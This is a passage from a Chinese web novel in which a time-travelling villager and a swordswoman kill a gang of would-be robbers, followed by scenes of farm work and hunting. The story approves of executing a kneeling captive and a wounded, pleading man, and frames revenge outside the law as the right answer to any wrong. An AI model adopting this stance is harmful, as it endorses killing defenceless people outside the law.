王赖子咬着牙,眼神阴鸷,一瘸一拐地朝着李逸家的方向走去。
还没走到李逸家,就听到院里传来叮叮当当的敲打声和女人的说笑声。
这小子在干啥呢?
王赖子心里疑惑,脚步慢了下来。
一想到上次李逸挥斧头的凶狠模样,他心里又有些发怵,表情犹豫不定。
“呸!老子会怕他那个软蛋?”
王赖子给自己壮了壮胆,绕到李逸家院墙侧面,踮着脚、抻着脖子往院里张望。
不过几天没来,李逸家的院子竟变了模样,多了两个结实的木棚子,棚子底下,三个女人正踩着什么东西,咚咚的声音不绝于耳。
另一边,李逸坐在板凳上,正拿着刨子刨木头,动作熟练,身边堆了不少成型的木件。
王赖子正要收回视线,目光却突然被另一边木棚里的大骡子吸引住了,眼睛瞬间瞪得溜圆,满脸惊愕:
“这李三哪儿弄来的大骡子?”
王赖子平日里游手好闲,偷鸡摸狗,偶尔也往乡里跑,自然知道大骡子的价值,那可是顶
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值钱的牲口,寻常农户家里根本养不起!
见李逸正专注地做木工活,王赖子壮着胆子,又往院墙根挪了挪,这回看得更清楚了。
那三个女人好像是在给粟米脱壳,旁边还堆着两个鼓鼓囊囊的米袋子,看样子是脱好的粟米。
“这李三莫不是弄到什么值钱的宝贝了?”王赖子心里嘀咕,越想越觉得是这么回事。
“定是这样!不然他哪来的钱买骡子!该死的!凭什么他运气这么好,我却要挨饿受冻!”
王赖子呲牙咧嘴,心里又气又妒,恨不得冲进去把李逸的东西抢过来。可一想到自己身上的伤,又只能悻悻地后退两步,生怕被发现。
“不行!老子绝对不能白白挨揍!李三有吃有喝有女人,还有大骡子,老子却要在这里挨饿受冻,这口气我咽不下去!”王赖子咬着牙,眼神越发阴狠。
可他也清楚,以自己现在的惨样,根本奈何不了李逸。就在他又气又急、无计可施的时候,脑子里突然灵光一闪:“不对!有了!李三你给我等着!”
王赖子冷笑一声,一瘸一拐地转身离开。他没有回家,而是朝着村外走去。
寒风像刀子一样刮在脸上冷得刺骨,身上的破冬衣上全是窟窿,不住地钻风,胃里还饿得一阵阵反酸。
可即便如此,王赖子还是咬着牙,一步一挪地赶路。
“等着!你给我等着!”
他嘴里一遍遍重复着这句话,眼神里满是怨毒。这股恨意成了支撑他走下去的唯一信念,他一定要让李逸付出代价,要看着李逸痛哭流涕,看他跪地求饶!
从大荒村到土梁村,平日里一个时辰的路,王赖子足足走了一下午,正午时分出村,直到天擦黑,才一瘸一拐地走到了土梁村村口。
土梁村比大荒村大得多,如今还有五十多户人家。以前没征兵的时候,最多有八十多户,后来逃荒的逃荒,饿死的饿死,就剩下这些人家。
王赖子冻得牙齿不停打战,嘴唇发紫,走了一路,身上先是出了热汗,又被寒风吹凉,里外凉透,浑身都快冻僵了。他用袖子胡乱擦了擦流出来的大鼻涕。
他强撑着最后一丝力气,走到村东头最破的一个院子前。还没进院,就听到屋里传来吵吵嚷嚷的声音,夹杂着粗鲁的咒骂和哄笑。
“愿赌服输!想耍赖?剁手指!”
“对!不想给钱也行,把你那两根手指头切下来抵债!”
“唉?我说不给了吗?我这不是在找钱吗!哎呦,尿急!我先去撒泡尿!”
“给完钱再尿!你想学那王赖子,欠钱跑路啊?”
“呸!王赖子也配和我比?”
哐当一声,屋门被**力推开,一股凉风瞬间灌进屋里,也把屋里的臭味一股脑地带了出来。王赖子站在门口,大口大口地喘着粗气,脸色惨白。
“呦!这不是王赖子吗?”
“这刚念叨你,你就来了!”
“哈哈哈……你们快看他这模样,是被谁给收拾了?”
王赖子的视线在屋里扫了一圈,七个男人围着一张破旧的小木桌,桌上摆着几个缺角的陶碗和一堆零散的铜钱,看样子是在赌钱。
其中六个他都认识,都是土梁村出了名的无赖,剩下那个没说话沉着脸的是个生面孔,眼神阴鸷,看着就不好惹。
王赖子关上门,一瘸一拐地走到靠墙的木床边坐下,声音沙哑地说:
“有没有吃的?给我来一点,好几天没吃东西了!”
几人看着他这狼狈模样,脸上都露出了戏谑的表情。其中一个瘦高个嗤笑道:
“王赖子,你是不是搞错了?你还欠我十钱呢,现在居然敢跑到我这里来要吃的?”
王赖子喘着粗气,冷哼一声:
“哼.....你们这些人凑一起,身上加起来都没有一百钱,在这耍什么呢?”
“我告诉你们,我这次来是带着发财的门路来的!干成了这事,这里有一个算一个,每个人都能赚上几百钱,甚至上千钱!信不信由你们,先给我弄点吃的!”
见王赖子语气笃定不像是在说谎,而且看他现在这惨样,浑身是伤还冻得半死,也确实不像有心思来骗吃骗喝的。
耿老大眯了眯眼睛,抽了口旱烟,沉吟片刻后,看向旁边一个黑瘦的男人:“狗子,去给他盛碗粟米粥,让他填填肚子。”
第三十九章:一个活口不留!
王赖子是真的饿坏了,毫不在乎这剩粟米粥的冰冷,拼了命地往嘴里扒,捧着碗的双手很疼,但他却顾不了这么多,死死地端着陶碗,只埋着头大口大口地吞咽。
一屋子人只看着他一个在狼吞虎咽地吃着,靠墙站着的狗子下意识摸了摸自己的肚子,粥还是晌午吃的,之前没有在意,现在看王赖子吃粥竟是把他也给看饿了。
“还有吗?”
王赖子把碗底舔得发亮,脸上还带着意犹未尽。
耿老大的指节在缺了角的木桌上敲得咚咚响,面色一沉冷声说道:
“王赖子,你没完了是吧?磨磨蹭蹭的,赶紧说!再敢扯废话,我让你把碗给吞下去!”
耿小二往发黑的门框上一靠,柴刀扛在肩头,刀刃上的锈迹在昏暗的光线下泛着冷光。他盯着王赖子的脏脸,嘴角勾着抹嘲讽:
“你别是来骗粥喝的吧?敢拿我们哥几个寻开心,我会让你比现在还惨!”
耿三则攥着拳头,眼神恶狠狠盯着王赖子,若是这老小子说了假话,今日定要让他知道哄骗耿家兄弟的下场,另一条腿就别想要了!
王赖子抹了把嘴,哐当一声把碗丢在桌上:
“呵.....你们还不相信我是吧?我现在就说,是李三!你们该知道吧?和我同村的那个!”
耿三不屑的嗤笑,嘴角撇到耳根:
“呵.....就是你们村比你还废物的那个?就他那样的,能有啥钱?”
“就是他!”
王赖子急得手拍胸口,拍得手疼他却顾不上,往前凑了两步将声音压得很低:
“这小子最近邪门得很!前阵子还穷得叮当响,去县衙骗粟米种子吃,这几日突然转了性!我亲眼看见的,他家院角拴着一头大骡子,还有好几袋满当当的粟米,至少有一千斤!”
“还有那李三可以弄了三个小媳妇,身子软得和柳条一样,小模样也秀美.....”
他越说越激动:“你们想啊?他能买得起大骡子,还有那么多粟米,手里能没有余钱吗?你们要是不信随我去看一眼就知道了!”
“千斤粟米?大骡子?”
这话像块肥肉丢进了饿狼堆里,耿小二喉结狠狠滚了滚。耿三攥柴刀的手更紧了,刀刃硌得掌心发疼,脑子里已经浮现出暖被窝里小媳妇的模样,嘴角忍不住往上翘。
三个娇弱的小媳妇,冬日里暖被窝多舒坦?若真是真的,在场每人都能分千钱,这个冬天他们就都不用挨饿了。
耿老大眯起眼,目光像刀子似的扫过王赖子的脸,试图从他表情里找出破绽:
“你可得想清楚了,若你说的是真的,李三家的东西有你一份,若你敢哄骗我们,就把你拖到后山荒地里,埋进雪堆里冻死!”
王赖子梗着脖子:“成!若是没有我说的那些,你们直接把我埋了!我王赖子要是皱一下眉,就不是娘养的!”
见他半点不露怯,连声音都没发颤,众人倒信了几分看向耿老大等他做主。
耿老大咬了咬牙,往地上啐了口唾沫,大手一挥:
“走!胆小不得将军做!抄家伙,现在就去!趁着天黑,官府也查不到咱们头上!”
……
大荒村,李逸家。
李逸躺在炕上,手指摩挲着被子上的补丁,脑海中又不安分地琢磨起来,他要把能够接触到的有限食材统统利用上。
城里的黄豆不是干炒就是腌制,嚼着硌牙,太浪费了。
李逸琢磨出两种法子:一是做豆腐,二是水生豆芽。
做豆腐稍复杂些,好在前几日请石匠制作了石磨,可以将浸泡后的豆子磨出豆浆来,难就难在点卤上,这是做豆腐的核心步骤,卤水不好弄搞不好还容易**,所以李逸打算用石膏,既安全又容易买。
这年头石膏是清热泻火的常用药,那些整日做修仙梦的方士炼丹也用它,去乡里或者县城的药铺就能买到,这就能解决做豆腐的核心问题。
相比之下,生豆芽就简单多了,他记得小时候在老家奶奶就经常生豆芽,把黄豆泡在温水里,泡到鼓起来,再捞出来放进陶盆,盖上湿纱布,每天浇两次水,五六天就能长成,芽瓣白嫩,根须细弱,炒着吃脆生生的。两把黄豆就能生出好几盘,能补维生素、膳食纤维,低成本藏着高营养,想想都觉得划算。
有了主意,李逸心里直发痒,恨不得现在就把黄豆泡上。
这时,白雪儿轻手轻脚溜进他被窝,软乎乎的身子像揣了个暖炉,还无意识往他身边蹭,小脑袋靠在他胳膊上,睡得正香。
李逸这几日也习惯了,顺势把她当成抱枕,动作轻柔地帮她掖了掖被子。
炕梢的秦心月一直直挺挺躺着,黑暗中,她猛地睁开眼,眼底闪过道利刃似的光,瞬间坐起身!
“外面有人,不止一个!”她声音压得极低,却带着不容置疑的坚定。
李逸刚有些睡意,闻言瞬间清醒坐起。
秦心月以为是官兵寻来,翻身跳下炕,动作快得像阵风,脚刚落地就往门口走,短剑已握在手中。
于巧倩睡眠浅,听到动静揉着眼睛坐起来,声音带着困意却不敢多问,只悄悄裹紧被子,眼神紧张地看着门口。唯有白雪儿还呼呼酣睡,嘴角挂着笑,不知道做了什么好梦。
李逸也跟着起身,匆匆套上皮袄下炕,刚到外屋,就见秦心月正从门缝往外看。
秦心月表面冷静心中却满是担忧,若真是冲她来的,定会牵连李逸和白雪儿她们,这是她最不想看到的。
一门之隔的小院,皎洁的月光洒在院中,把六道人影拉得长长的,像几棵歪脖子树,他们正鬼鬼祟祟地往骡棚挪。
骡棚里的大骡子被惊得甩尾巴,鼻子喷着白气,蹄子在地上刨得哒哒响。
“大哥!真有头大骡子!王赖子没说谎!”狗子发出兴奋的声音,压得低却透着颤音:“这么大一头肯定能卖不少钱!”
“大哥!一会儿咋办?直接冲进去?”耿三的声音传进来,满是急切:“那三个小媳妇,咱们怎么分?”
“李三直接弄死,省得麻烦!三个女人全带走,冬日里有小媳妇暖被窝,再好不过!”耿小二的声音带着笑,听得人心里发毛。
“都给我闭嘴!”
耿老大低喝一声,寒风把剩下的话吹得零碎:“小声点!别被里面的人听见了!狗子,你去开门,手脚麻利点!”
秦心月听到不是冲自己来的,悄悄松了口气,握着剑柄的手也松了些。
李逸却听得心头火起,又是王赖子!就这么条臭虫,怎么就没完了?这次必须彻底解决这个祸根!
他背过手,黑暗中突兀多了把**,紧紧地攥着。
“好,我去!”
狗子应了声,握着柴刀走到门前,先从门缝里往里看了看,见没动静就把柴刀从门缝**来,咔哒咔哒地拨弄门插棍。
秦心月转头看了李逸一眼,低声询问:
“留不留活口?”
李逸目光寒冷,他穿越过来还带着现代人的思维,下意识认为有些人教训下就可以了,但现在他发现,他是错得有些离谱!
现代社会有那么完备的法律制度和警务系统,依然无法约束绝大多数人的道德,让他们可以卡在灰色边缘,大错误不犯小错误不断,在这古代就别指望人的自觉性有多高,又会有多么深刻的悔悟。
犯错成本那么低,官府又能力有限,所以有些人是永远不可能悔改的!
想清楚其中的利害因果关系,李逸声音低沉地开口:
“一个活口不留!”
秦心月微微一怔,她本以为李逸会只让她教训一下就好,没想到会做这种决定,但她并不反感。
“好!”
秦心月和李逸同时后退,李逸深吸一口气猛地拉开门栓。
门外几人同时愣住了,黑暗中,隐约看到屋内站着两个身影,一个握**,一个手持短剑,眼神冷得像冰,跟他们想象中惊慌失措的样子完全不一样。
没等他们反应过来,秦心月已冲了上去。
她脚步轻盈却快,手中的
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鱼肠剑快得像道闪电,精准地划过狗子的喉咙。
狗子连哼都没哼一声,眼睛瞪得圆圆的,双手捂着脖子,鲜血从指缝里涌出来。秦心月顺势抬脚,狠狠将狗子的身体踢飞,砸在后面的耿三身上,耿三被压得闷哼一声,柴刀掉落在地。
狗子的尸体压在耿三身上,温热的血顺着脖颈流到他脸上,黏糊糊的。
耿三颤巍巍地伸手摸了摸,借着月光看清满手鲜血,一股腥气扑面而来,他眼睛瞬间瞪圆,声音颤抖地喊道:“杀!**了!大哥,她**了!”
秦心月却没停,踩着狗子的尸体冲上去,短剑直刺耿小二的胸口。
耿小二惨叫一声,身体软了下去,鲜血从胸口涌出来,滴在地上,很快就结了层薄冰。
秦心月从小练的就是搏杀功夫,每一招都直冲要害,手腕转动间,剑刃又划向旁边,那人下意识地想举刀反抗,喉咙却已被划破,倒在地上抽搐了几下,没了动静。
短短片刻,四人倒地!
耿老大吓得腿软,手里的菜刀脱手落地,秦心月一步步逼近,手中的短剑还滴着血,在月光下泛着冷光。
耿老大终究是个只会欺负老实人的无赖,哪见过这种**不眨眼的阵仗,扑通一声跪在冻硬的地上,膝盖砸得生疼也不敢揉,双手合十不停地磕头:
“别,别杀我!我们知道错了!再也不敢了!是王赖子,都是王赖子让我们来的!”
李逸阴沉着脸从屋内走出,他没说话只盯着跪在地上的耿老大,攥**的手青筋凸起,方才他听得清楚,这耿老大不仅想杀自己,还想把白雪儿她们掳走。
这种人,留着就是祸害!
耿老大见李逸出来,连忙哀求:“李三兄弟,我错了!我不该听王赖子的话来抢你家东西,你饶了我吧!我家里还有老娘要养,要是我**,我老娘也活不成了!”
李逸快步上前,揪住耿老大的衣领,将手中的**已刺进他的胸口,一下,两下,三下……
鲜血涌出来,溅在李逸的手上、皮袄上,热乎乎的。
耿老大眼睛越瞪越大,眼神里满是难以置信,他张了张嘴想说什么,却只能发出咯咯的声音,最后头一歪,没了气息。
李逸松开手,耿老大的尸体倒在地上,他握着**的手还在微微颤抖。
这是他第一次**,心脏跳得飞快,像要从嗓子眼里跳出来,手心全是汗,连呼吸都有些急促。
可他心里却松了口气,他知道,这是他必须走出的一步,在这个没有法律保护的年代,对坏人的心软,就是对自己和身边人的残忍。
秦心月站在一旁,美眸盯着李逸,心里有些意外,没想到下手这么果决,连眼睛都没眨一下。她忽然觉得自己没看错人,跟着李逸或许真的能过上安稳日子。
“半夜带着家伙闯别人家之前,你们就该有这样的觉悟。”
李逸声音有点哑,他深吸口冷风,压下翻涌的情绪,转头看向秦心月,嘴角扯出抹笑,虽然笑容有些勉强,却透着真诚:
“秦姑娘,从现在开始,我们是共犯了。我们的命已经绑在一起,你可以永远相信我。”
秦心月难得露出个笑,嘴角上扬,眼底的冷意散了些,竟像冰山上开了朵花,透着惊艳。她点了点头,声音也柔和了些:“嗯……我没有看错人。”
李逸甩了甩手上的血,血滴在地上像一朵朵小红花。
他的笑容突然转冷,眼神又锐利起来,看向院外!
王赖子肯定在外面,这个祸根这次一起解决!
“剩下这个人,还有尸体,麻烦你处理下,外面还有个王赖子,我要亲自去找他,这次不能再留了。”
秦心月点了点头,一剑轻易结束另一个男人的生命,拿起地上的柴刀,开始清理尸体。
她知道李逸这是要彻底断了后患,这样做对他们都好。月光下,她的身影显得格外利落,很快就将尸体拖出院子。
李逸握紧**转身走出院子,阴沉着脸,眼中满是杀意!
第四十章:赤狐下跪
王赖子一瘸一拐地跟着耿老大一行人往大荒村赶。寒风刮得他耳朵生疼,冻疮裂开的脚趾在破草鞋里磨得钻心,可他心里却烧着团烈火!
想到李三一会儿跪地求饶的模样,他就忍不住咧嘴笑,两次被李三打的**,这次要连本带利讨回来!
耿老大他们手里的柴刀和菜刀都泛着冷光,王赖子看在眼里更觉得踏实,这么多人李三就算长了三头六臂,也只能任他们宰割!
到了李逸家院外,王赖子腿脚不便只能扒着墙抻着脖子往里瞅。
耿家三兄弟和狗子六人先后翻身跳进院子,很快就聚在屋门口,影子在月光下叠成一团。
院内静悄悄的....只有呼呼的风声出过,刮得院角的柴草堆哗啦响。
王赖子下意识屏住呼吸,连身上多处疼都忘记了,眼睛死死盯着屋门,就等狗子撬开门,他们冲进去把李三揪出来!
狗子握着柴刀,小心翼翼地从门缝**去,刚咔哒拨弄了两下木栓,房门突然打开!紧接着,一道黑影猛地冲出来,王赖子还没看清是谁,就见狗子的身体像断线的风筝似的飞起来,撞在后面几人身上,耿三手里的柴刀被撞得掉在地上。
王赖子愣住了,眼睛瞪得溜圆!
随后他就看到屋里冲出来的女人手里握着短剑,动作快得像闪电,几个动作一气呵成,耿小二,耿三,狗子他们几人就倒在了地上没了动静。
剩下的耿老大和另一个人吓得扑通跪地,紧接着李三从屋里走出来,手里的**泛着冷光,竟毫不犹豫地朝着耿老大胸口刺去,耿老大连哼都没哼就没了气。
王赖子吓得魂飞魄散,连连后退,脚底下一滑差点摔倒。
他这才真的感觉到怕了,李三敢**!他真的敢**!
刚才耿老大求饶时,还喊了是自己带的路,李三肯定不会放过他!
“报官!对!去县衙报官!”
王赖子脑子里只剩这一个念头,也顾不上腿伤的剧痛,一瘸一拐地往村外跑。
身后突然传来院门推开的声音,王赖子惊惧地回头看了眼,月光下,李三握着一把木弓,正朝着他这边走来,影子被拉得老长。
寒冬的路面冻得比石头还硬,王赖子脚下不知被什么东西绊了一下,整个人趴倒在地,受伤的双手按在冰面上,钻心的疼顺着指尖往心里窜。可他哪敢停?连滚带爬地想站起来,身后突然传来咻的破风声。
“啊!!”
王赖子惨叫出声,右肩传来一阵撕裂般的疼,一支木箭穿透了他的肩膀。强大的力道带着他的身体再次扑倒,脸狠狠挫在冻硬的地面上。
后方的李逸缓缓收起木弓,握着**一步步走向王赖子。
王赖子还在挣扎,想往路边的草丛里躲,李逸已经走到他身边,一脚踩在他受伤的腿上,力道大得让王赖子又是一声哀嚎。
“嘘……闭嘴!再叫!现在就弄死你!”
李逸的声音冷得像冰,踩在他腿上的脚又加了几分力。
天太黑,王赖子看不清李逸的表情,可这声音却让他浑身发颤:
“李三……我错了!我什么都没看见!我再也不敢了!你饶了我吧!”
李逸冷笑一声,蹲下身,**的刀尖抵在王赖子的脖子上,冰凉的触感让王赖子瞬间僵住。
“你错了?你错在哪了?你想报仇,有错吗?换作是我,被人打了一顿,也想找机会讨回来啊!”
“啊....啊?”
王赖子被李逸这话弄懵了,张着嘴一时间竟不知道怎么回答,眼泪鼻涕混在一起,糊了满脸。
“我.....我....”
李逸的声音却越发低沉,带着几分懊悔:
“是啊....你能有什么错呢?错的是我!我就不应该给你机会,第一次把你打一顿赶出去的时候,就该直接弄死你,那后面这两次的事,就不会有了!”
李逸顿了顿,像是在自言自语:
“你没错....错在我,我要反思……我真该反思。”
王赖子被此时李逸这模样吓破了胆,声音颤抖着哀求:
“李三!我保证!我再也不找你麻烦了!我现在就去外地,再也不回大荒村!你放过我吧!”
李逸没再说话,猛地俯下身子,手中的**狠狠刺进王赖子的胸膛。一下,两下……直到手掌传来温热的黏腻感,被鲜血染红,王赖子的挣扎才渐渐弱了下去,最后彻底没了动静。
看着王赖子的尸体,李逸长长地呼出一口气,白雾在冷空气中很快消散。
经历了这件事,他心里反倒踏实了,以后再遇到这种想害自己的人,他知道该怎么面对了。
人都是有劣根性的,善良的人做错事会反思,可像王赖子耿老大这样的人,根早就坏了,给他们机会,只会让他们咬得更凶。
“勿以善小而不为,勿以恶小而为之啊......”李逸在心里默念着这句话。
从今天起,他彻底确定了自己的态度,凡是敢针对他和他身边人的,不管是大恶还是小坏,结果都一样!
官府要是真有用匪患就不会这么猖獗了,他们连大恶都解决不了,更别指望他们能清理这些小坏,那都是无稽之谈。
自己的问题自己解决,才能解决得干净,彻底!
想通这些,李逸只觉得心里一阵通达,**时的紧张感渐渐褪去,心跳平稳下来,身体也不再发抖。
“处理好了?”
秦心月不知何时走了过来,手里还拿着一把柴刀,她看了眼地上的尸体,语气平淡得像在说天气:“你先回屋吧,剩下的交给我。”
李逸点了点头,转身往家走。
回到屋里时,油灯已经被点燃,昏黄的光映着炕头。
白雪儿和于巧倩蜷缩在墙角,身上裹着被子。见到李逸进来,两人都松了口气,连忙从炕上下来。
“夫君,你没事吧?”白雪儿快步走过来询问。
于巧倩则注意到李逸身上的血渍,脸色一紧:
“夫君,你受伤了?快让我看看!”
李逸摇了摇头,在桌边坐下:“我没事,这是那些强盗的血。不用担心,我和秦姑娘已经把他们都解决了。”
于巧倩松了口气,转身去外屋的锅里盛了些温水,帮李逸擦洗染血的手掌:
“夫君没事就好,那些强盗**都是该杀的。你这是为民除害,省得他们日后再去祸害其他人家。”
白雪儿也跟着点头,眼神里满是认同:
“是啊夫君!还有那个王赖子,你打了他两次,这次还敢带强人来害我们,他最该**!”
李逸无语地扯了扯嘴角,牵起一抹苦涩的笑:感情家里就他一个人不够杀伐果断啊!
不过想想也难怪,她们都经历过战乱,仗打得最凶的时候,城里缺粮,饿急了的百姓就开始**,人性的恶她们见得太多也经历得太多,早就比他看得透彻。
只是王赖子**,李逸倒没什么感觉,可想起铁牛说过的话,王赖子还有个媳妇,听说疯疯癫癫的,被王赖子打得不成样子,要是不管她,说不定会被活活饿死。
冤有头债有主,牵连到无辜的人,李逸心里还是过意不去。
第二天一早,天刚蒙蒙亮,李逸就去了王赖子家。
天这么冷,王赖子家的屋门却没关,冷风呼呼地往里灌。
屋里黑漆漆地,一股霉味混着馊味扑面而来,李逸皱了皱眉,适应了好一会儿才看清,王赖子的媳妇陈氏蜷缩在破被子里,露出的胳膊瘦得只剩骨头,冻得瑟瑟发抖。
听到有人进屋,女人慢慢抬起头,乱糟糟的头发结块粘在脸上,只露出一双浑浊的眼睛,直勾勾地盯着李逸。
李逸尽量让自己的声音温和些:“如果饿了,可以去我家干活,我给你吃的。你能听懂吗?”
女人没说话,就那么直勾勾地看着他。李逸以为她听不懂,正想再解释一遍,却见她缓缓点了点头,动作僵硬得像生锈的木偶。
“那跟我走吧。”
李逸说完转身往外走,女人慢慢从床上爬下来,穿着一件破单衣,裤子短得露出半截小腿,脚上是一双快磨破的草鞋,踩在地上没什么声音,默默跟在李逸身后。
回到家时,于巧倩已经起来忙活了,看到李逸身后跟着的女人,愣了一下。
“夫君,这是……”
“王赖子的媳妇。”李逸解释道:“给她盛碗粥吧。”
“嗯,这就来。”
于巧倩应了声,转身去灶房,没多久就端来满满一大碗热粥,还冒着热气。
女人接过粥碗,也不管烫蹲在院子的木棚下大口吃起来,狼吞虎咽的样子,像是很久没吃过饱饭。
“她……还好吗?”白雪儿也起来了,站在门口看着女人,小声问道。
李逸摇了摇头:“看着有点怕人,不过能干活就行,要是疯疯癫癫的,就不用管她了。”
吃完粥,于巧倩走过去把陈氏带到脱壳的木架旁,演示怎么给粟米脱壳,只教了两遍,女人就扶着木架脚踩着木槌,试着自己做,一开始动作还生疏,忙得手忙脚乱,一个时辰后,她就已经能熟练操作了,脱壳的速度比于巧倩还快些。
李逸看在眼里,心里明白了:这女人不是疯是心**,以前肯定也是个干活的好手,只是嫁给王赖
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子这种人,也是命苦....
中午刚过,村里的王寡妇就笑呵呵地推着小推车过来,把李逸给他制作的脱壳工具拉走。
其他几个寡妇也陆续过来,每个人脸上都带着盼头,这两天她们看着铁牛和刘氏用工具脱了两百多斤粟米,推到乡里卖掉能换更多的粟米和铜钱,大家都觉得日子有了奔头。
下午...处理完家里的事,李逸独自进了山。
下雪后,山里的脚印格外清晰,野鸡的三趾爪印、兔子的小圆印,还有狍子的大蹄印,在雪地上印得清清楚楚。
李逸在脚印最密集的两个区域一共布置了十几个兔子套,用的是结实的麻绳,固定在树干上,只留一个能套住兔子脖子的活结,布置完天色也暗了下来。
第一天跟着干活,陈氏就脱了十斤粟米,干活时一句话不说,汗珠子顺着脸颊往下淌也不擦。李逸没吝啬,管了她三顿饭都是粘稠的热粥,还叮嘱她明天想来就自己过来。
第二天一早,李逸打完拳出门,就看到陈氏蜷缩在门口的墙根下,身上还是那件破单衣,冻得缩成一团,嘴唇发紫。
“明日不用来这么早,等日头升起来再过来就行,要是来早了门没开,就敲门。记住了吗?”
陈氏缓缓点头,喉咙里发出一个含糊的“嗯”声。李逸这才确信,她不是听不懂,只是不愿意说话。
进院后,不用人吩咐,陈氏就径直走到木棚下开始脱粟米。装粟米的袋子就放在旁边,秦心月早上跟李逸说,昨晚陈氏在院里干了一天活,袋子里的粟米一粒都没少。
李逸没吃早饭,趁着天刚亮,又进了山。
天气一天比一天冷,他需要更多的皮子,也需要些肉给家里人改善伙食。
刚进山林没多久,就有了好运气,两只野鸡正在雪地里觅食,李逸悄悄拿出木弓,搭箭拉满,咻咻两箭,箭箭命中野鸡的脖子,两只野鸡扑腾了两下就不动了。
接着他去了之前布置兔子套的地方,在两个布置套子的区域各逮了两只兔子,两只雪兔毛色跟雪一样白,两只灰兔肥得圆滚滚的。
李逸心情大好,把兔子和野鸡拴收进物品栏,继续往山里走。
雪地的痕迹有些乱,李逸蹲下身,仔细分辨着。
这里面有一串大蹄印,形状像梅花,是野鹿的!看痕迹还很新。
李逸心里一喜,顺着蹄印追过去,跑了没多远,野鹿没看到,却看到一头野猪正趴在雪地里啃树皮,这头野猪膘肥体壮,比他上次猎到的那只还大,獠牙外露,看着很凶。
李逸屏住呼吸没有继续移动,在三十米的距离,搭箭瞄准野猪的眼睛,这是野猪最薄弱的地方。
箭矢破空而去,精准命中野猪的左眼!野猪发出一声凄厉的嚎叫,身体一僵,重重倒在雪地上,挣扎了几下就没了动静。
【狩猎熟练度+50】
李逸心里一阵欣喜,这头野猪算是意外收获!
他正想过去处理野猪,眼角的余光瞥见一抹火红闪过,李逸抬头看去,只看到一个模糊的轮廓,似乎是一只赤狐!
这种狐狸的皮**价值极高,虽是比不上虎皮但也能卖一两千钱,李逸心里一动,将野猪收入物品栏后快步追了过去。
赤狐跑得很快,好在雪地上有脚印,李逸顺着脚印追了十几分钟,才终于追上了它。
这只赤狐体型很大,体态优美,**色火红发亮,是一只母狐。
李逸刚拉弓搭箭,却看到母狐突然停下,转过身,对着他摆出了跪地的姿势。前爪往前伸,身体趴在雪地上,耳朵耷拉着,尾巴紧紧夹在腿间。
如此反常的举动,让李逸下意识放下了弓箭。
他慢慢走近,才发现母狐身边还有一只小狐狸,小狐狸的后腿被兔子套缠得死死的,绳子勒进了皮毛里,正呜呜地叫着,声音又细又弱。
李逸哭笑不得,这兔子套是他之前布置的,没想到没套到兔子,反倒套住了小狐狸。
他蹲下身看着母狐,母狐也不逃就那么看着他,眼神里满是哀求。
“唉.....可惜了这么好的皮子……”
李逸叹息了一声,拿出**,小心翼翼地割断缠在小狐狸腿上的绳子。小狐狸脱困后,立刻跑到母狐身边,蹭了蹭母狐的身子,呜呜的叫声也轻快了些。
见这只赤狐如此通人性,李逸也不忍心再下**。他挥了挥手轻声说道:
“快走吧,下次别来这边了,这里有陷阱。”
母狐像是听懂了,对着李逸又点了点头,然后带着小狐狸转身钻进了松树林,火红的身影很快消失在雪地里......
第四十一章:玉竹落难
李逸收回恋恋不舍的目光,无奈地摇了摇头,指尖无摩挲着弓身的纹路:
“唉……我是不是有点太感性了?昨日手刃那些混混和王赖子我都没有任何心软,看到只通人性的狐狸,反倒心软了……唉....可笑”
话音刚落,他忽然想起今天所收获的猎物,嘴角又勾起一抹笑意。今日的收获很丰厚,四只野兔,两只野鸡,还有一头膘肥体壮的野猪,做人确实不该太过贪心。
就在李逸转身准备按原路返回时,一道火红的身影突然从斜前方的灌木丛中蹿出。正是方才那只母狐,它仰着头,对着李逸发出一阵尖细却不刺耳的叫声,随后向前跑出十余步,又停下脚步回头张望,琥珀色的眼睛紧紧盯着他。
李逸心中一动,迈步跟了上去。见他跟上,母狐立刻继续前行,每走一段路便会驻足等候,火红的皮毛在杂草丛中时隐时现,像是在前方引路。
李逸就这么跟在母狐身后,踏入了往日从未涉足的山林区域,是另一条进山的路线,穿过一片依旧青葱的松树林,不时地能听到野鸟在林间啾鸣。
这般走了约莫半个多小时,前方的母狐突然停下脚步,身体压低,耳朵紧贴脊背,警惕地盯着前方的密林。
李逸见状立刻绷紧神经,缓缓摘下背上的弓箭,脚步放轻,循着母狐的目光望去。
只见前方空地上,三只野鹿正低头啃食着杂草,两头成年公鹿身形健壮,头顶的鹿角分叉繁复,泛着温润的光泽,显然是研磨入药的上等材料,旁边的小鹿身形娇小,尚未完全长成的鹿角呈淡粉色,正是药用价值极高的鹿茸。
李逸双眼瞪大!
他深吸一口气,左手稳稳托住弓身,右手食指与中指扣住弓弦,臂膀肌肉线条流畅绷紧。
自从狩猎等级二次突破后,他的动作愈发从容不迫,目光如鹰隼般锁定其中一头成年公鹿的脖颈,那里是最脆弱的要害。
“咻!”
弓弦震动的瞬间,羽箭划破空气发出厉啸,精准射穿公鹿脖颈的动脉处。温热的鲜血瞬间喷涌而出,染红了身下的枯草。
公鹿发出一声痛苦的哀鸣,踉跄着向前走了几步,庞大的身躯便重重摔倒在地,滚烫的鲜血顺着脖颈汩汩流出,惊恐的眼神一点点涣散,最终彻底失去了生机。
旁边的另一头成年公鹿和小鹿吓得魂飞魄散,撒腿便向密林深处逃窜,很快消失不见。
母狐见状,立刻蹿了过去,围绕着野鹿的尸体转了一圈,不时用鼻尖蹭了蹭鹿身,像是在邀功。
“我去!今天真是撞大运了!”
李逸快步走上前,看着眼前这头体型壮硕的野鹿,心中满是欣喜。
这野鹿少说也有一百斤重,虽说论出肉量还不及之前猎到的野猪一半,但论价值,两头野猪加起来也比不上这一头,鹿角和鹿茸在药铺里能卖出极高的价钱,鹿肉也是能补身子的稀罕物。
李逸伸手摸了摸母狐的头顶,它的毛皮蓬松柔顺,触感极佳。母狐高高昂起头颅,似乎能感受到他的喜悦,喉咙里发出轻微的呜咽声。
“谢谢你啦!”
李逸略一思索,转身从背上的箩筐里拿出一只肥硕的野鸡,丢到母狐面前。狐狸是杂食性动物,对肉类尤为喜爱。
“这只野鸡,就当是你带路的报酬了!”
母狐围着野鸡转了一圈,先用鼻尖蹭了蹭羽毛,又抬头看了眼李逸。
在得到他肯定的点头后,立刻叼起野鸡,对着他吱吱叫了两声,随后转身蹿进旁边的灌木丛,火红的身影很快消失在山林中。
“还真是通人性,太聪明了!”
又猎到一头野鹿,这让李逸心情大好!
